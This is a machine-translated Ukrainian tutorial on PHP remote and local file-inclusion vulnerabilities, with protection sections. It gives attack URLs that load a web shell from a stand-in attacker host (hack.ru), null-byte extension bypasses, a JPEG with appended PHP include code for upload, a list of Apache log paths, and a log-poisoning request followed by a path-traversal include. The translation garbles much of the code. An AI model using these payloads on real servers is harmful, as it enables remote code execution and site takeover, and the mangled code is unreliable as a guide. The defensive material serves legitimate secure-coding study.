This page has been robot translated, sorry for typos if any. Original content here.

PHP-include та способи захисту



  • Глобальний інклуд
  • Захист від глобальний інклуд
  • локальний інклуд
  • Список апатча
  • Захист від локальних інклуд


  • Вступ

    Глобальний інклуд

    Найбільш небезпечна з вразливостей вебу, але на жаль, чи на щастя зустрічається в наш час вкрай рідко. Для атаки необхідно, що б функція allow_url_include була включена, тобто "On"
    Уразливість дозволяє зловмисникові виконати на сервері довільний php код.
    У PHP існують чотири функції для включення файлів в сценарії PHP:

    * Include ();
    * Include_once ();
    * Require ();
    * Require_once ().

    Функція include () включає вміст файлу в сценарій. Розглянемо приклад "двічі" вразливого коду:
      <? php
     
      if ($ _GET [ 'page']. '.php')
     
      {
     
      include ($ _GET [ 'page']. '.php');
     
      }
     
      else
     
      {
     
      include ($ file. '.php');
     
      }
     
      ?>
    
    
    За допомогою умови ми перевіряємо, якщо через url на сервер передається елемент масиву $ _GET [ 'page'], то викликаємо функцію include (). З-за того, що значення масиву $ _GET [ 'page'] не перевіряється на існування, за допомогою функції file_exists () зловмисник може провести атаку:

    http://site.ru/index.php?page=http://hack.ru/shell В іншому випадку ми інклуд include ($ file. '. php'); Тут таже ситуація, просто запис коду трохи інша. Змінна $ file НЕ
    була визначена раннє і зловмисник може виконати віддалено php код:
    http://site.ru/index.php?file=http://hack.ru/shell Функція include_once () практично не відрізняється від include (), за одним винятком: перш ніж включати файл в програму, вона перевіряє, чи не чи був він включений раніше. Якщо файл вже був включений, виклик include_once () ігнорується, а якщо немає - відбувається стандартне включення файлу.

    <?php
    include_once( $file . '.gif' ); ?>
    <?php
    include_once( $file . '.gif' ); ?>
    У цьому прикладі до довантажувати файлу автоматично приписується розширення '.gif'
    Позбутися від розширення '.gif' можна двома способами:
    1) якщо magic_quotes_gpc = Off то можна використовувати "отруйний нуль" -% 00 який відріж розширення
    http://site.ru/index.php?file=http://hack.ru/shell.php%00 2) навіть якщо magic_quotes_gpc = On
    http://site.ru/index.php?file=http://hack.ru/shell.php? Функція require () аналогічна include (), за винятком одного - файл, який визначається параметром require (), включається в сценарій незалежно від місцезнаходження require () в сценарії.
    <?php
    require( $file );
    ?>
    <?php
    require( $file );
    ?>
    Атака аналогічна, але в цьому випадку розширення не приписується:
    http://site.ru/index.php?page=http://hack.ru/shell.php Функція require_once () завантажує файл в сценарій всього один раз.
    <?php
    require_once( $file . '.php' );
    ?>
    <?php
    require_once( $file . '.php' );
    ?>
    Атака аналогічна ...

    Тепер розглянемо інший варіант інклуд. На цей раз необхідно, що б у файлі php.ini
    значення параметра allow_url_fopen дорівнювало On, що і є за замовчуванням.
    PHP код:
      <? php
     
      $ f = fopen ( "$ file.php", "r");
     
    
      while (! feof ($ f))
     
      {
     
      $ s = fgets ($ f, 255);
     
      echo $ s;
     
      }
     
    
      fclose ($ f);
     
      ?>
    
    
    Через те що змінна $ file не була визначена раніше, зловмисник може провести атаку:
    http://site.ru/index.php?file=http://hack.ru/shell В результаті знову отримуємо веб-шелл.

    Наступний приклад - використання функції readfile ()
    <?php
    readfile
    ( $file );
    ?>
    <?php
    readfile
    ( $file );
    ?>
    Функція readfile () зчитує файл, ім'я якого передано їй як параметр, і виводить його вміст на екран.
    У підсумку знову отримуємо веб-шелл:
    http://site.ru/index.php?file=http://hack.ru/shell Тепер розглянемо такий варіант:

    <?php
    echo implode ( "" , file ( $file ));
    ?>
    <?php
    echo implode ( "" , file ( $file ));
    ?>
    За допомогою функції implode () ми об'єднуємо елементи масиву в рядок, а з допомогою функції file () отримуємо вміст файлу у вигляді масиву. В результаті знову маємо веб-шелл:
    http://site.ru/index.php?file=http://hack.ru/shell.php

    Захист від глобальний інклуд

    Звичайно можна перевіряти файл на існування з допомогою функції file_exists () і фільтрувати небажані символи з допомогою str_replace (), але я рекомендую використовувати конструкцію switch case:

      <? php
     
      global $ page;
     
      switch ($ page)
     
      {
     
      case '':
     
      include ( "pages / main.php");
     
      break;
     
    
      case 'index':
     
      include ( "pages / main.php");
     
      break;
     
      case 'page1':
     
      include ( "pages / folder / page1.php");
     
      break;
     
      case 'page2':
     
      include ( "pages / folder / page2.php");
     
      break;
     
    
      default:
     
      include ( "pages / hack.php");
     
      break;
     
      }
     
      ?>
    
    
    Так само рекомендую відредагувати файл php.ini:

    allow_url_include = Off // забороняємо віддалено інклуд файли
    allow_url_fopen = Off // забороняємо fopen відкривати посилання
    register_globals = Off // відключимо ініціалізацію глобальних змінних
    safe_mode = On // включаємо safe_mode (у Хеккера НЕ буде доступу до / etc / passwd і йому подібним)

    локальний інклуд

    Не менш небезпечна уразливість в інтернеті. Дозволяє зловмисникові інклуд файли лежать на сервері. Багато новачків стикаючись з даною помилкою веб-кодинга кидають справу, так як не знають як діяти далі і в яку сторону копати. Я приведу загальний приклад:
    <?php
    include( "include/$file" );
    ?>
    <?php
    include( "include/$file" );
    ?>
    Глобально проінклудіть не вийти, т.к змінна $ file приписується після каталогу / include /
    Що ж можна зробити?

    Ідеальним вважається той випадок, коли на сайті варто чи форум або інша форма, за допомогою якої можна завантажити будь-який файл c будь-яким розширенням.
    Виникає питання - а чому з будь-яким розширенням? Візьмемо до прикладу вигаданий сайт на якому є можливість завантаження аватарки через форум. На форумі варто скрипт, який перевіряє - чи дійсно користувач завантажив фотографію? Відкриваємо paint і зберігаємо будь-яке зображення приміром у форматі jpg. Після чого відкриваємо його блокнотом і після коду зображення пишемо <? Php include ( "http://hack.ru/shell.php"); ?> У результаті отримуємо приблизно таку картину:
    			
     яШяа JFIF `` яИ C           		 
     
    
                     $. '  ", # (7), 01444 '9 = 82 <.342яИ C 			  
    
      2!  ! 222222222222222222222222222222222222222222222 22222яА 6 6 "Яд                    	
      Отрута μ}! 1A Qa "q 2Ѓ'Ў # B ± Б Rср $ 3br,	
          % & '() * 456789: CDEFGHIJSTUVWXYZcdefghijstuvwxyzѓ "... † ‡ € ‰ С ™'" "• --~ ™ љўЈ¤Ґ|§Ё © ЄІіґμ¶ · yo№єВГДЕЖЗІЙКТУФХЦЧШЩ'бвгд ежзійкстуфхцчшщ'яД                       	
      Отрута μ w! 1 AQ aq "2Ѓ B'Ў ± Б # 3Rр brС
    
      $ 4б% з & '() * 56789: CDEFGHIJSTUVWXYZcdefghijstuvwxyz,ѓ "... † ‡ € ‰ С ™'" "• --~ ™ љўЈ¤Ґ|§Ё © ЄІіґμ¶ · yo№єВГДЕЖЗІЙКТУФХЦЧШЩ'вгде жзійктуфхцчшщ'я'?  ч'(ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
    
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ЎЂ? Ящ
     <? Php include ( "http://hack.ru/shell.php");  ?>
    
    Тепер таку картинку можна завантажити на форум і вона буде сприйнята саме як картинка
    Повернемося до питання про розширення. Чому нам підійде будь-який? Справа в тому, що функція include ()
    завантажує код з одного файлу в виконуваний файл. Ось приклад:
    http://www.site.com/index.php?include=../forum/images/shell.jpg В результаті, в файлі index.php виконується код <? php include ( "http://hack.ru/ shell.php "); ?>

    Список апатча

    Як відомо apache веде лог-файли httpd-access.log і httpd-error.log і всі запити
    природно логіруются і пишуться у відповідні файли. Ось приблизний їх розташування:
     /logs/error.log
     /logs/access.log
    
     / Logs / error_log
     / Logs / access_log
    
     / Var / log / error_log 
     / Var / log / access_log
     /var/log/error.log 
     /var/log/access.log
    
     / Var / www / logs / error_log
     /var/www/logs/error.log
    
     / Var / www / logs / access_log
     /var/www/logs/access.log
    
     / Var / log / apache / error_log
     /var/log/apache/error.log
     / Var / log / apache / access_log
     /var/log/apache/access.log
    
     /var/log/httpd/error.log
     /var/log/httpd/access.log
    
     / Var / log / httpd / error_log
     / Var / log / httpd / access_log
    
     /apache/logs/error.log
     /apache/logs/access.log
     / Apache / logs / error_log
     / Apache / logs / access_log
    
     / Usr / local / apache / logs / error_log
     /usr/local/apache/logs/error.log
    
     / Usr / local / apache / logs / access_log
     /usr/local/apache/logs/access.log
    
     / Home / www / logs / error_log
     /home/www/logs/error.log
     / Home / www / logs / access_log
     /home/www/logs/access.log
    
    Я ж наведу приклад на локалхосте, думаю багатьом зрозуміліше буде. За допомогою програми InetCrack я відправляю пакет такого змісту:
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    Заголовок пакета записується в логи апатча, розташовані за адресою:
    Z:\usr\local\apache\logs\access.log Тобто в цей файлик записується ось такий рядок:
    127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414 Думаю суть зрозуміла. Нам залишається його проінклудіть:
    http://localhost/1.php?file=../../../../usr/local/apache/logs/access.log І отримати веб-шелл :)

    Захист від локальних інклуд

    Ось невеликий прімерчік, як можна надійно захиститися:
      <? php
     
    


    function stripslashes_for_array (& $ array)
    {
    reset ($ array);
    while (list ($ key, $ val) = each ($ array))
    {
    if (is_string ($ val)) $ array [$ key] = stripslashes ($ val);
    elseif (is_array ($ val)) $ array [$ key] = stripslashes_for_array ($ val);
    }
    return $ array;
    }

    if (! get_magic_quotes_gpc ())
    {
    stripslashes_for_array ($ _POST);
    stripslashes_for_array ($ _GET);
    }

    if (isset ($ _GET [ 'file'])) $ file = $ _GET [ 'file'];
    else
    {
    if (isset ($ _POST [ 'file'])) $ file = $ _POST [ 'file']; else $ file = ''; } $ file = str_replace ( '/', '', $ file); $ file = str_replace ( '.', '', $ file); if (! file_exists ( "include". '/'. $ file. '.php') || $ file == 'index') { $ file = 'news'; } include ( "include". '/'. $ file. '.php'); ?>

    І так, що тут відбувається? Кожен елемент масиву перевіряється функцією stripslashes (). Вона вбиває бекслеші. Далі перевіряємо встановлено чи ні значення елемента масиву. Отфільтровуем неприпустимі символи ( '/', '.') Функцією str_replace (). Якщо файлу не існує (перевіряємо за допомогою функції file_exists ()) - присвоюємо значення змінної $ file = 'news'. В інших випадках (коли файл існує) інклуд його.